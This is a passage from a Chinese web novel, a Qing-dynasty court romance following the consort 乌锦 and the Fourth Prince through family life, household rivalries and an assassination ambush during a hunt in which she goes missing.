乌锦闲着没事做就继续听戏,其它格格侍妾也是如此,她们这些人在后院里是真的无事可做,听听戏解解闷还觉得有趣一些。
福晋难得请戏班子到府里唱戏。
“这个花旦的戏腔真不错。”宋氏点评道。
“是不错,咬字清晰,我们在下面都能听得清楚她在唱什么。”
乌锦跟宋氏相视一笑,继续听戏,今日点的戏唱完后,她们才散了,管家送走戏班子。
曦宁也刚好从学堂那边回来了,她现在愿意去学堂了,有人陪她玩,又都是同龄的女孩子,那些教书的先生也不会太严格,毕竟都是身份尊贵的格格,说不得骂不得,氛围应该还挺轻松的。
曦宁叽叽喳喳跟她说她在学堂里学了什么,乌锦也称赞她表现得很好。
曦宁得意地挑眉,小孩子还是很希望得到大人的夸奖,乌锦忍不住亲了亲女儿的小脸。
“好啦,今天学习辛苦了,洗洗手吃点水果,等傍晚再吃饭,你阿玛应该会跟我们一起用膳,等你阿玛回来。”
曦宁点点头,听话地去洗手。
到了傍晚,四阿哥果然过来桃园这边,跟她们一起用膳,这几天都是如此,四阿哥说池塘那边引水,这阵子让奴才们放一些鱼进去。
“那鱼能活吗?万一那些鱼不适应怎么办?”
乌锦知道池塘那边是引的水是从雁平湖那边运过来的,这属于是人造池塘,只有运过来的水不行,还得达到生态平衡才行,乌锦还是学过一点生物学的。
“放心吧,交给奴才,养不活就唯他们是问。”
好吧,这的确简单粗暴,乌锦想着为了不受惩罚,管理池塘的那些奴才应该也会想方设法让放进去养的鱼活下来,她就不再过问。
吃过饭之后,曦宁被带回她的房间完,乌锦洗完澡坐在梳妆台前,镜子里的自己眼角多了一些纹,五年过去,她变老了一些。
“主子爷,你觉得我变老了吗?”
突然被问的胤禛一愣,然后说人都会变老。
乌锦对这个答案不满意,瞪着他:“所以爷这是嫌弃我老吗?”
“你不老。”
“爷,你说得一点都不真诚。”
胤禛轻笑,过来亲她的脸,“你真的一点都不老,别瞎琢磨这些。”
胤禛觉得容颜终究都会变老,他又不是看中她的脸,容颜再美,看久了也会腻。
“爷,你也变老了,沧桑许多。”
“你这是报复。”
乌锦呵呵直笑,她说他变老了,怎么能说是报复,果然针要戳到自己才会觉得痛,人终究都是不想自己变老的。
“好啦,差不多该歇了,不早了。”
乌锦嗯了一声,起身走到床边,他也很快过来,两人一起躺下,唤人过来熄灯。
房间内一片漆黑,四阿哥的手很快摸过来。
“爷,今天不行。”
“为什么不行?”
“我来月信了。”
他的手才收回去,乌锦侧着看他,黑暗中也看不到他是什么表情,她笑道:“爷,你明日可以去别人那,反正这几日我是伺候不了你啦。”
胤禛把人搂到怀里,一只手捏她的脸,沉声道:“你以为我过来找你只是为了做这事,我是喜欢跟你待在一块。”
“原来是我狭隘了,我错怪主子爷了,我还以为主子爷贪恋我的身子,原来不是,主子爷既不喜欢我的脸,也不贪恋我的身子,我在主子爷眼里是不是没有一点迷人之处?”
“是没有,我也不知道我为什么会喜欢你,唉,现在想反悔都来不及。”
“哼,你大可以反悔。”
“那可能需要把我的心挖出来才行。”
乌锦知道他这是在说她已经入了他的心,这种甜言蜜语,她还是爱听的,她趴在他怀里,笑道:“爷,你如今是越发会说情话了。”
“没办法,被某人逼的,不说些好听的情话,怕别人觉得我不是真心喜欢她。”
“好啦好啦,该睡了。”
再说下去可能没法睡了,乌锦中止聊天,她把他的手掌放在她腹部,这月信头一天,肚子闷闷的,也不是特别舒服。
胤禛也觉得差不多了,拥着她入睡。
……
到了九月初,皇上的脚伤已经好了,前朝平静许多。
十四阿哥过来府上,十四阿哥近来来府里的次数有所减少,好几个月都不来一次,许是人长大了,不像小时候那样无拘无束,想来就来,长大后可能要面子。
十四阿哥来找四阿哥喝酒,乌锦从四阿哥口中得知十四阿哥很喜欢喝酒,无酒不欢那一种,但因为他还没分府,在宫里住,被德妃娘娘盯着,几乎不能喝酒,只有出来时才能喝一喝过瘾。
乌锦毕竟是女眷,就没有凑这份热闹,让他们兄弟两自己喝,只是十四阿哥喝酒喝到一半时,说想要烧烤,才把她叫过去。
“乌夫人,上一次我们一起烤肉是什么时候,我都不记得了。”
乌锦其实记得也不是很清楚,一年前还是一年半前,反正感觉挺久了,她有时候想吃烤肉直接吩咐膳房的人就行,不需要自己亲自烤。
“唉,我也想出府住,住在宫里不自在。”十四阿哥抱怨道。
乌锦看一眼四阿哥,想当初四阿哥住在宫里时应该也是跟十四阿哥此时心境差不多吧,她是没有住在皇宫过,不过大概能猜到在宫里住是什么样子,他们是阿哥还好,她们这些女子才是真正不方便出入宫。
她说道:“十四阿哥,再过几年,你就可以出府了,
别着急,你年纪还小。”
四阿哥在一旁补了一句说十四可以娶妻了。
十四阿哥嫌弃地直挥手:“什么娶妻,我才不要娶妻,四哥,你别说了,我才多大,我才不要那么快娶妻,我要找一个跟我心意相通的女子。”
乌锦倒觉得十四阿哥年纪的确不大,才十六岁,但是一想这古代的男子十五六岁就娶妻了,他的确是到了可以娶妻的年纪了,就不知道哪家姑娘能嫁给他。
四阿哥突然凑在她耳边说了一句,说十四阿哥还是处子之身,身边一个格格侍妾都没有。
这话说得声音不大不小,被十四阿哥听到了,十四阿哥顿时恼羞起来:“四哥,你怎么跟乌夫人说这些,你……你……四哥,你太坏了,乌夫人,你别听四哥乱说。”
乌锦其实也有点意外,她以为十四阿哥只是没娶妻,格格侍妾肯定有了,不是说皇子十二三岁就有人伺候了,宫里会专门挑人教导皇子,没想到十四阿哥还是处子。
“我就是不想太随便。”
乌锦赞同地点头,肯定道:“十四阿哥你这么想是对的,你还年轻,不用着急,我觉得这样很好。”
“真的?”
“当然是真的。”
才十几岁,急什么,乌锦觉得十四阿哥还是一个孩子,稚嫩得很,他都说想找一个心意相通的人,说明他不像其它阿哥那样滥情,专情是好事,不然像大阿哥那样,府里的格格侍妾几十个,上一次听戏的时候,她还听到大福晋抱怨呢,说大阿哥什么人都往府里带,后院事多,天天吵来吵去,吵得她脑壳疼。
十四阿哥又看向四阿哥,不满道:“四哥,你别什么事都告诉乌夫人,我也是要脸的,你揭我的短,小心我也揭你的短。”
“我什么都跟她说,我们无话不说。”
十四阿哥嫌弃地啧一声,觉得四哥这是跟他炫耀,瞬间不想搭理四哥,也不想继续这个话题,于是转过身去烤肉。
四阿哥见好就收,过去跟十四阿哥说秋猎的事,一听到这个,十四阿哥就来精神了。
两人已经商量着什么时候去秋猎,约上谁一起。
乌锦在一旁默默吃肉。
“你想去吗?”四阿哥回头问她。
乌锦摇摇头说她不想去。
“曦宁说不定想出去玩。”
“还是算了,她还小,不会骑马,也不会射箭,我们跟去,主子爷还得分心照顾我们,爷不能尽兴,我们还是不过去了,我想着带曦宁回娘家住几天。”
乌锦自从进贝勒府后就没有在娘家过过夜,她顺道提出,期待地看着四阿哥。
“你想回就回吧。”
见四阿哥这么爽快答应,乌锦笑了笑。
十四阿哥左看看四哥,右看看乌夫人,觉得这两人感情怎么这么好,他在宫里见惯那些虚情假意,有时候见到真挚的感情还是会羡慕。
到了申时,十四吃饱喝足,人有点醉,四阿哥亲自将他送回宫里。
……
乌锦跟福晋说一声后便带着曦宁回娘家,在娘家住几天,上门拜访的人不少,乌锦应付累了,干脆谁也不见。
绣秀苑还开着,但生意一般,她额娘跟小娘都有关铺子的打算,反正家里已经不怎么缺银两了,尤其是乌安已经当上兰翎侍卫了。
乌锦便赞同她们把绣秀苑关了,把铺子租出去给别人,收租银就行,她们年纪也不小了,的确不用太折腾,好好享福就好。
曦宁在家里住的这几天,天天跟着乌明一块玩,乌明好玩,也愿意带着曦宁一块玩,开始有点当兄长的模样。
因为乌安年纪也不小了,开始到议亲的年纪,乌锦回来几天,她额娘跟小娘就天天跟她说哪家姑娘好,分析哪家姑娘好,问她的意见。
乌安的亲事的确不能轻视,家中可能唯一能有出息的人便是乌安,乌锦也认真挑了挑,先看家世家风,也不用攀太高的门户,但也不能太低,最后挑中五品官翰林院侍读的女儿,比乌安小一岁。
许是她在娘家待得太久,四阿哥竟然亲自过来乌家接她们,弄得乌锦都有点不好意思,尤其是额娘他们目光中有挪揄欣慰,四阿哥还陪她阿玛喝酒。
他堂堂贝勒爷,能做到这一步已经很好了,应该是乌家跟她阿玛捧着他才是,他能纡尊降贵过来乌家已经是给乌家很大的面子。
乌锦收拾东西就跟他回去,反正娘家离得近,她有空再回来就是,没有耽搁,倒是曦宁有些舍不得,一直让乌明去贝勒府找她玩。
乌明毕竟是外男,恐怕不方便进府,不过乌明还是答应曦宁,他们依依惜别。
回到马车上,四阿哥说她乐不思蜀,要不是他过来接她们,她们都不打算回去。
乌锦倚在他怀里,笑道:“怎么会,我也不过是回家七天而已,也没有多久,我跟额娘她们为乌安挑选亲事呢,一时忘了日子,爷要是不来接我们,我们其实也快回去了。”
“挑了哪家?”
乌锦跟他说了,睁着眼睛看他:“爷觉得如何?爷要是觉得不行,我们就换一家,我们对朝中那些大臣还是不大熟悉,这是媒人过来说亲的。”
“没事,娶吧。”
听四阿哥这么说,乌锦就更放心让乌安娶翰林院侍读大人的女儿,乌家既然跟四阿哥绑在一块了,总得问他意见,经他同意才走下一步,不过这订亲跟真正成亲还隔着一两年呢,其实也不着急,乌安年纪也不大。
……
府里又有好消息,李氏又怀孕了,没想到年轻的苏氏跟钮祜禄氏没怀上,又是李氏怀上了,听说是刚怀一个多月,找府医把脉,这消息才传出来。
夜里,四阿哥在她体内驰骋,像是突然发疯一样。
事后,乌锦才问他怎么了。
“我想要让你为我生一个阿哥,为什么我来你这里这么多次,你肚子偏偏没有动静。”
乌锦默默翻个白眼,都几年了,他还惦记着让她给他生个阿哥,估计是被李氏怀孕的消息刺激到了,她真是懒得搭理他。
“我问你话呢。”
“我怎么知道,这种事情也要讲究天时地利人和,讲究缘分的,不是我说有就有的。”
“我这么卖力,怎会没有?明日我请周太医给你看看。”
胤禛觉得自己没有问题,毕竟李氏那边传来好消息,李氏比乌锦还大几岁呢,李氏能生,为何乌锦这几年完全没有动静。
“这孩子的事也不是卖力就能有的,你别折腾了,我不想喝药,没有就没有,我生出阿哥又怎么样,阿哥跟格格在我眼里都是一样的,我不像主子爷重男轻女。”
“我待曦宁也很好。”
“不一样,我还不知道你嘛,觉得女孩子只需要嫁人就好,你就是迂腐的人,你再提生阿哥的事,信不信我跟你翻脸。”
胤禛见乌锦真的有点生气,他也怕惹恼她,只好哄道:“好好好,我以后不提,不生就不生,有曦宁就够了。”
乌锦掐他的脖子一下。
“谋杀亲夫啊。”
“你是祸害,祸害遗千年。”
胤禛笑着搂住她,“好啦,别生气,睡吧。”
“我气到睡不着。”
“那我们继续做。”
乌锦拍他一下,用了力气。
胤禛哈哈大笑,在她脸上亲一口。
最后他们还是老实睡觉了。
……
翌日,乌锦还是跟宋氏耿氏过去给李氏贺喜,李氏每次怀孕看上去都很高兴,虽说才怀孕一个多月,但已经被人知道了,李氏也很坦然接受大家的恭喜。
临近冬日,内务府送来了一批料子,用来制作冬衣,只是乌锦不缺冬衣,就把料子放进库房里存着。
过了半个月,李氏小产。
乌锦她们又过去看李氏,感觉跟李氏说恭喜都还没过去多久,没想到李氏竟然这么快就小产了,不到两个月的胎儿,发现出血时,府医就说孩子保不住,请太医过来也说孩子保不住,不像上一次保胎保了几个月,这一次连保胎的机会都没有。
太医给开了堕胎药,让李氏流得更彻底,免得不成形的胎儿留在体内威胁到母体的生命,她们安慰李氏,李氏倒也平静,没有大哭,许是她自己也了解自己的身体。
上一胎就很艰难,这一胎才一个多月就见血了,不可能保八个多月,只能流了。
李氏小产一事在府里没掀起太大的风波,过去之后,大家日子还是照样过。
没想到又过年了,上一年因为疫情,宫中戒严,他们没有进宫,今年进宫了,跟前几年一样,在宫中参加除夕宴,结束后,他们就回府。
曦宁窝在她怀里打瞌睡,乌锦抱着女儿,马车停下时,戚妈妈她们在下面接着曦宁
,四岁的曦宁一个人是抱不住了,需要两个人一起,不过这么一折腾,她也醒了。
“额娘,我饿。”
在宫里的膳食不好吃,曦宁没吃多少,乌锦安慰女儿说回到桃园就有吃的,让她下地自己走。
“我想额娘抱我。”
“你这是为难额娘了,额娘现在抱不动你,来,额娘牵着你。”
最后乌锦牵着女儿进府,四阿哥跟福晋等人走在前面,她们回桃园,乌锦立即让小才子去膳房拿点吃的过来。
看着女儿吃饱后,乌锦才放她到院子里玩。
天还没黑,乌锦在房间内看一会书,外面偶尔有鞭炮声传来。
“君梅,是不是该发赏银了?给膳房的岳师傅他们每人发五两赏银,你们每人十两。”
看书看得眼睛泛酸的乌锦记起要发赏银的事,吩咐君梅一句。
“好,我去库房拿银子。”
“顺便把账本拿过来。”
乌锦不需要给府里每一个奴才发赏银,她只需要给桃园的人还有膳房的几个人发就行,给府里每一个人发赏银是四阿哥跟福晋的事。
乌锦又开始记账,一年记这么几次,平日里吃穿住都在府里,内务府也时不时送东西过来,她不怎么花银子,四阿哥答应每个月给她二十两还是有做到,不过改成一年一次性给完,基本上是逢年过节,她给额外给君梅她们赏银,这银子才会花出去。
四阿哥过来时,她还在记账,见到四阿哥过来,她挑挑眉:“爷,你不应该在福晋那吗?”
今天可是除夕,他应该跟福晋在一块。
“我想去哪就去哪。”
行吧,福晋估计也习惯了,四阿哥在外面可能还收敛一些,在自己府里,他就是最大的主子,别人都得听他的,他随着自己性子做事。
“阿玛,阿玛,你陪我放烟花好不好?”
曦宁跑进来拉她阿玛。
乌锦让他们到府里大空地那边放,不许在院子里放,万一着火怎么办,这宅屋可不是砖瓦房,大多是木制,尤其是烟花是四散的,更容易着火。
胤禛被女儿拉出去,他又把弘晖曦玉还有弘时都叫过来,凑在一起,陪着他们放烟花。
小孩子对烟花还是很好奇,几个孩子难得气氛融洽在一块玩,玩了许久,入夜了,他们才各自回到自己的院子。
胤禛牵着曦宁回到桃园,热水已经备好,一大一小分开洗澡。
曦宁还想过来主间这边玩,被戚妈妈他们拦住,带回她的房间。
主子爷在这宿下,小才子肯定得守夜,君梅也往房间内的炭盆里添炭,几个人有条不紊地忙着。
到了戌时,主子们都歇下了,他们才能歇息。
90-100
第91章第91章更新
康熙四十四年三月初,有人在蒙古边境起事,几个部落请求大清支援,皇上派爱正蓝旗都统新觉罗.延信跟十四阿哥领兵前去支援镇压。
这是十四阿哥第一次被皇上施与重任,下发任务,连十四阿哥都已经到了替皇上分忧的年纪,更别说十四阿哥之前的那些阿哥,皇上虽然上了年纪,但大家都明白皇上可能还能再活个十年都没有问题,这也就意味着太子不会那么快登基。
再加上皇上铲除索额图一党,等于去太子一臂,众臣心里也开始犯嘀咕,太子还能登基吗?皇上是不是想要其他阿哥来登基,于是有些人也开始讨好其他阿哥,分了阵营,也有人是在阿哥之中周旋,不得罪哪一方,就怕被秋后算账。
如此一来,太子在朝中的势力进一步被削弱,也达到皇上想要的目的。
朝中之事还轮不到乌锦操心,乌锦在贝勒府过着舒服安心的日子,原先进府的苏氏跟钮祜禄氏已经侍寝过了,不过肚子没有好消息。
府里的日子比较平静。
今日福晋又请戏班子来府里唱戏,不过这回只有府里的主子看戏,曦玉跟曦宁都没有去学堂,两人也在听戏。
弘时已经两岁了,难得被李氏抱出来,被李氏抱在腿上看戏。
小孩子看戏的注意力不在戏文上,只是看着那些戏子穿着戏服在台上走来走去,觉得新奇,曦玉跟曦宁年纪大了,可能还好一点,弘时看一会就坐不住了。
李氏让奶娘把弘时带去别的地方玩,曦宁立即道:“我陪弟弟玩吧,额娘,我跟弟弟玩。”
乌锦还没开口,李氏就笑道:“曦宁真是好姐姐,那你去陪弟弟玩吧。”
曦宁跟过去。
乌锦对着李氏笑了笑,她能感觉到李氏这阵子对她的示好,包括她对曦宁释放出的善意,先前李氏对她们还是不咸不淡的,跟福晋更交好,往来更多,如今她会主动跟她搭话。
可能是她真的想跟她交好,乌锦也没有让她热脸贴屁股,大多数时候也会和善地回馈她,她也没有问李氏为何有所转变,反正就这么处着。
乌锦专心听戏。
这听戏的时辰过得特别快,四阿哥已经户部衙门那边回来了,他过来绕一圈就回前院了,这么一绕,这后院女人的心就不在戏上了。
四阿哥子嗣还是少,不少人都盼着自己能为四阿哥生下孩子,福晋也常让她们替四阿哥绵延子嗣。
乌锦喝茶呛着,郭氏说了一句,说她是不是犯恶心,顿时众人的目光齐落在她身上,她咳到眼泪都冒出来,咳完后才回道:“没有,就是喝茶呛着,没有犯恶心。”
郭氏又说道:“乌妹妹可是这后院里侍寝最多,最得宠的人,这都几年过去了,怎么肚子一点动静都没有。”
郭氏向来说话都是如此,时不时嘲讽她一两句,乌锦也习惯了,她平静道:“这孩子的事终归要讲究缘分,缘分没到,我再得宠也没有用,况且我年纪不小了,生孩子这事可能还得交给几个妹妹。”
乌锦已经二十六岁了,在古代而言,她年纪的确不小了,不是风华正茂的十七八岁,真有孩子,那就是高龄产妇。
“她们倒是想生,只是主子爷又不常让她们侍寝,谁不知道乌妹妹最得宠,勾主子爷勾得紧紧的,都不去别人那。”郭氏说完还翻了一个白眼。
“没办法,主子爷想来我这,我也不能拒绝,主子爷想去别人那,我也没有拦着,主子爷想去哪就去哪,主子爷不去郭姐姐那里,可能是主子爷不想,这怨不得我,郭姐姐可能要自己想想办法勾主子爷。”
在别人听来,她可能是炫耀,她说的都是实话,只是这实话让其他人脸色变了变,想说什么又怕自己说了显得嫉妒心重。
郭氏气得牙痒痒,不满地道:“定是你灌了什么迷魂汤给主子爷,主子爷才会常去你那,你勾引的。”
“是,我可能是狐狸精的化身吧。”
郭氏想不出话来接她这句话,被噎住,气得直接对着她冷哼一声,不想再说话。
乌锦现在已经不怕自己得宠招人嫉妒了,毕竟她得宠是事实,她们也只是嘴上刺她几句,没有真的伤
害到她,也不敢真的伤害她,她想反驳的时候就反驳,不想反驳的时候就一只耳朵进另一只耳朵出。
福晋出来打圆场:“没犯恶心就好,乌妹妹要是身子不适,可以请柯大夫来看看。”
“我真的没事。”
“那就好,大家都好好看戏吧,好不容易请戏班子来府里唱戏,都认真看吧。”
大家还是会给福晋面子,又转头认真看戏。
看戏看得差不多了,乌锦也觉得累了,于是就回桃园了,没过多久,四阿哥就从前院过来。
“爷不忙吗?”
“没什么可忙的。”
年前忙过一阵了,年后就轻松不少,胤禛问她今日唱了哪出戏。
“唱了一出秀才中举后就抛弃糟糠之妻的戏,这男人一旦飞黄腾达就变得凉薄,前面什么海誓山盟,到后面都不记得了。”
“拐着弯骂我呢。”
乌锦冲着他笑了笑:“爷又不是那样的人。”
“你把男人都说上了,我又是男人,不就是拐着弯骂我,你放心吧,我飞黄腾达了,也会给你分一口吃的,不会让你吃糟糠菜的。”
“只肯分我一口吃的,那爷跟那个秀才一样没有良心。”
胤禛过去捏她的脸:“你呀,爷待你如何,你心里清楚得很,看你在爷面前没大没小,胡乱说话,我看你才是没有良心的人。”
乌锦顺势坐着搂住他的腰,脸贴在他肚子上,“有吗?我心可好了,我可是大好人。”
“大白天的,你别勾我。”
乌锦想到郭氏说的话,抬头看四阿哥,笑道:“刚刚还有人说我勾主子爷,把主子爷勾得紧紧的,缠着主子爷,不让主子爷去别人那,我还反驳来着,没想到在主子爷眼里,还真是我勾的主子爷,我怎么那么冤枉呢。”
“就是你勾我。”
“行吧,我是狐狸精化身,勾了就勾了。”乌锦站起来亲他,月信刚过,她其实还蛮想的,她攀着他脖子。
“额娘,额娘……”
正亲着的时候听到外头曦宁的声音,乌锦就赶紧松开,擦了擦自己的嘴,又帮四阿哥擦了擦,在孩子面前,她还是得保持额娘的形象,可不能让孩子见到这些画面。
胤禛偷笑。
“爷,你别笑,我可不想做亏心事被曦宁见到。”
“这算什么亏心事,她长大后肯定会明白的。”
乌锦白他一眼,那也是长大后的事情,现在曦宁才五岁,她可不想污染孩子纯洁的心灵,她走出去。
曦宁撅着嘴不满道:“额娘,我要进来,他们不让,我不喜欢他们这样,就该罚他们,打他们屁股。”
乌锦看了一眼苏培盛等人,又看了看曦宁,说道:“这是额娘的房间,你不经允许,不能就这样直冲冲地闯进来。”
曦宁见到阿玛,又高兴地喊了一声阿玛,然后说她不喜欢额娘了。
胤禛瞧乌锦一眼,心想最治得住乌锦的人是女儿,他假装不知道地问了一句为什么。
“反正我就是不喜欢了,哼。”
真是小孩子,过一会说不定就喜欢了,胤禛摸了摸女儿的脑袋,说外面冷,让她进来,说着不喜欢额娘,额娘给她递一颗樱桃,她就听话地放进嘴里吃,胤禛都忍不住笑了笑,笑着时也被乌锦往嘴里塞了一颗樱桃,酸酸甜甜的,还挺好吃。
这会还没到用晚膳的时辰,他们一起吃了一碟子樱桃,一人吃了七八个。
胤禛想着再让人送些过来,免得母女两没得吃。
……
春去夏至,转眼间到了八月底,天气燥热,而皇阿玛又打算出巡,准备巡幸塞外,预计九月底出发,有一个月的准备时间。
皇阿玛让大哥胤褆、老八胤禩跟老九胤禟留在京城,太子、老三、他、老十跟十三跟着出巡。
胤禛准备带上乌锦,除了弘时,弘晖、曦玉跟曦宁都准备带上,孩子去了,福晋跟李氏也跟着,再添上一个耿氏跟钮祜禄氏,要跟去的主子就这些。
乌锦已经开始让膳房的人备吃的,胤禛看着乌锦这些日子忙来忙去,带孩子去还是不一样,她总担心路上缺孩子要用的东西。
胤禛觉得曦宁已经五岁了,不是两三岁,其实不用准备那么多东西,这样一说就被乌锦骂了,说他不照顾孩子,当然想当然,他也只能随她去,马车多就多吧,实在不行就用骡车。
胤禛的东西自然是由福晋跟前院的奴才来准备。
九月二十六日,天已经没那么热了,他们开始启程。
乌锦这边跟女儿在一辆大马车上,其实带孩子出来见见世面也挺好的,不能只困在四方天里长大,曦宁比较兴奋,一路上嘴就没停下来过,一直看着窗外,看到什么都指给她看。
乌锦有时候敷衍她,戚妈妈跟君梅就代替她陪着曦宁说话。
一路上走走停停,过了九日,一行人抵达热河行宫,是皇上跟太子等人住在行宫,他们在行宫外面搭帐篷。
外面是大片草地,曦宁是撒开欢地玩,曦玉跟弘晖跟她一块,弘晖在上书房那边读书也认识三阿哥的两个同龄小阿哥,这些孩子都玩在一块。
在行宫这边歇了五天后才启程,过后到了塞外,这次是所有人在大草原上一起安营扎寨。
附近的大臣来朝,四阿哥偶尔需要陪着皇上来接见那些蒙古大臣。
乌锦带着曦宁天天在帐篷外玩,来到草原少不了骑马,四阿哥虽然不能陪着她们,但也安排了教她们骑马的谙达负责教她们骑马。
乌锦在这几天又重新学会骑马,还带着女儿学射箭,这骑马射箭其实是累人的活,她们是骑一天歇两天,这日子过得充实。
到了十月二十日,他们一群人跟蒙古挑选出来的勇士一起去狩猎,有男有女,乌锦也跟着四阿哥一起去,没带曦宁,她穿着利落的骑射装,头发全部挽起盘起来,露出光洁的额头。
乌锦学会骑马,没有跟四阿哥共骑一匹,她骑的是一匹温顺的白马,个头不高,正适合她这种骑术不精的人。
“别骑太快。”
“我知道,放心吧,我这次肯定不会摔下来的。”对于四阿哥的叮嘱,乌锦回了一句。
“人多,你要一直跟着我。”
乌锦点点头。
到了丛林深处,乌锦终于从马背上下来,他们是一群人狩猎,讲究团体协作,先分散开来,再慢慢集合,将猎物围在其中。
她跟在四阿哥身边,有人拿着捕网跟工具到前面驱赶在林中的猎物。
“看看你这几日有没有进步,要是你能猎中一头野兔,说明你射箭能力进步了。”
“爷,你别小看我,说不定我猎中的野兔比你多,你输给我的话,丢脸的可是你。”
胤禛轻笑,说那就比比看。
行驶了一段距离,林中的野兽四处乱窜,他们不着急射中,现在主要目的是将这群野兽赶到一处,慢慢缩小他们活动的范围。
他们好像听到前面那一拨人的动静,感觉离得不远了。
突然间一支弩箭色从前方射过来,带着锋利的光芒穿越而来,一旁的十三阿哥说了一句,抱怨道:“四哥,那些人怎么回事,不是说好不胡乱射箭的吗?万一射到的是人,而不是猎物怎么办?”
他们等于是一群人围成一个圈,慢慢走近彼此,将猎物困在其中,行驶的过程中不能胡乱射箭,因为很可能会误伤队友。
也好在前面一帮人拿着盾具,只是前方的射箭并没有结束,从一支好像变成几十支。
十三阿哥说不对,好像是刺杀。
乌锦心里一紧,刺杀?朝着谁?她偏头看四阿哥,四阿哥脸色已然变得凝重,也意识到不对劲了,忙让人举高盾牌抵挡穿过来的射箭。
很快,前面穿出来的不仅仅是弩箭,而是一群蒙着面的杀手朝着他们过来。
他们这一群人当中并非全部
是他们自己人,还有一群人是蒙古这边的勇士,突然从狩猎变成刺杀现场,他们先乱了,肯定想保住自己的命,而不是这些远道而来,跟他们没有太多关系的人的命,等于他们并不是那些人要守护住的人。
他们这群人顿时变得混乱起来,有人逃窜,有人抵挡,抵挡的大多是四阿哥跟十三阿哥的护军。
刺客不少,而且是有备而来,他们人少,为首的护军让四阿哥他们先后退。
“乌锦,上马,胤祥,快上马,往后退。”四阿哥冷声吩咐道。
乌锦也很快上马,他们一群人往后退。
然而这群刺客也挟持了几匹马,二话不说地追上来。
“乌锦,你朝那边,他们是冲着我跟十三来的,跟你无关,你往那边,冯溥、方尔位,你们两个护送侧福晋,务必保证侧福晋的安全,快,往那边!”
乌锦也来不及想太多,就这样跟四阿哥分开,免得给他拖后腿,他们带来的人就不多,再多她一个累赘,恐怕就更危险了。
很明显那帮人不是冲着她一个侧福晋来的,而是冲着四阿哥跟十三阿哥,要取的是四阿哥跟十三阿哥的命。
乌锦拼命骑着马往前跑,然而还是有两个刺客追上她,跟着她的两个护军被迫停下来跟他们进入厮杀。
乌锦也停下来,想用箭射他们时,没想到其中一个刺客已经用剑划伤冯溥。
“侧福晋,别管我们,你快走,”冯溥大喊,“别管我们。”
乌锦不知道自己要怎么抉择,冯溥拼命到她身边,狠狠地朝马屁股踢一脚,她被迫往前跑,不知跑了多久,她好像听不到后面那些声音,闻不到血腥味,她身下的马跑累了,不愿再动,无论她怎么牵它,它就是不肯动,她只好从马背上下来,刚想去拉缰绳时,马突然往前冲,她被踢翻在地,随之白马就跑远了,留下她一人。
她挣扎着从地上起来,她不能回头,只能往前走,走出这片树林搬救兵,只是她不熟悉路,这茫茫树林中,她走着走着只觉得周围都寂静下来,只听得到自己的呼吸声。
又走一会,她似乎听到有脚步声,怕那两个刺客追杀上来,乌锦忙躲进旁边的灌木丛里,屏住呼吸,没多久,只见一个男人提着剑在寻人,那剑刃上有明显的血迹,就是方才的那两个刺客其中一个。
这是要杀人灭口,连她都不想放过。
乌锦躲在暗处,想隐藏自己,但那人似乎发现她了,朝着她走过去,她不得已从灌木丛里跑出去,那人也在追她。
乌锦是用尽全身力气在跑,她身上没有匕首刀剑,只有一支弩箭,对方人高马大,又有刀剑,想杀她一个弱女子十分容易。
这个时候,她不得不怪自己安逸日子过久了,天天不运动,跑得气喘吁吁,总觉得很快就被抓住了,她不停跑,还得回头看人有没有追上来。
她不知绊到什么,人往前栽倒,那人快追上来,她想稳住身形却稳不住,反而开始翻滚,她见到侧方有一个斜坡,她抱住自己的头,直接顺着斜坡滚下去。
她没来得及看这斜坡有多陡,更没有看到斜坡下面就是一处七八米高的山坑,她看到时已经来不及了,整个人直接掉下去,她连抱头都抱不住,不受控地往下坠,最后后脑勺磕到什么,她直接昏迷。
那人站在山坑边上看了看底下,没有下去的路,对方就转身离开。
胤禛这边跟十三一起拼命骑着马往前跑,好在他们都擅长骑马,后面有护军替他们拖住那些刺客,他们得以逃脱。
他们不知道刺客从哪里来,但知道恐怕那群蒙古的勇士就有刺客,他们回到扎营的地方,跟皇阿玛求助。
皇阿玛立即派禁卫军跟御林军前去救援,事实上不仅仅是他们遭到刺杀,太子、老三跟老十那边也遭到刺杀,太子甚至受伤了,被刺了一剑,老三也受伤了。
他们不知道刺客有多少人,这里毕竟不是在京城,又地广人稀,皇阿玛的安危更要紧,一大部分人留在原地保护皇阿玛。
胤禛找到冯溥跟方尔位时,两人均受重伤,还仍有一口气,他们说他们只看到侧福晋往前跑了,没被追上。
胤禛让几个人把他们两人带回去,他继续带着人找乌锦,他甚至找到乌锦骑的马也没找到乌锦人,天黑了也没找到。
胤禛心慌了,很想继续找,只是没有灯火,什么都看不见,道路崎岖不平,只能先折回去,他带了火把又折回去找,生要见人,死要见尸,不可能一个人就这样消失。
找了一天一夜,人还是没找到,他精疲力尽地回到帐篷。
福晋乌喇那拉氏只知道今日包括太子在内的几个皇子都遭到刺杀,四阿哥没受伤,但跟四阿哥前去的乌锦似乎不见踪影。
“爷,人还没找到吗?”
“曦宁呢?”
“我已经让奶娘她们看着曦宁,爷不用担心,爷,你要不先睡一觉,说不定乌妹妹自己就回来了。”
“我睡不着。”
“那爷要不先吃点东西?”
胤禛一天一夜没进食了,点了点头。
乌喇那拉氏忙让人摆膳食上来。
胤禛吃完后又过去皇阿玛帐篷那边,昨日乱糟糟的,人死的死,伤的伤,也活抓到一些刺客,不知道皇阿玛查到什么,审问到什么,是谁主使的刺杀。
那群人就是奔着他跟十三的命去的,要不是他们骑马骑得快逃出来,他们有可能丧命在林中,尽管他们没受伤没丢掉性命,但跟着他们的护军死了不少,可见那些人下手之狠。
胤禛撑着一股气到皇阿玛帐篷中,问审查结果,皇阿玛说这事还需要细查,只用一天就查不出什么的。
胤禛跟皇阿玛再要一百个护军,他想带着那些人回去找乌锦,皇阿玛却不愿意,说如今更重要的是他们的安危,先保障他们的安危,找了一天一夜还没找到就没必要再找,不过是一个侍妾而已。
胤禛知道皇阿玛更想保障他的安危,谁知道那些人会不会刺杀皇阿玛,皇阿玛惜命得很,只是这荒山野林的,要找人肯定需要人手,不然怎么能找到人。
如今已经是十月中旬,天冷,乌锦要是受伤在哪里,这时间拖得久,乌锦就会有生命危险。
他乞求皇阿玛,皇阿玛最后才答应再多给他五十人去寻人。
胤禛马不停蹄又带着人去寻人,连觉都没有睡,他只想尽快找到乌锦,活着的乌锦,但他也知道乌锦要是还活着,她应该会应他才是,人怎么能无声地藏起来。
第92章第92章新文《康熙家的德妃又作又茶……
胤禛没想到他们找了三天三夜都没找到人,生不见人,死不见尸,没找到乌锦前,他都没有心思管谁要刺杀他。
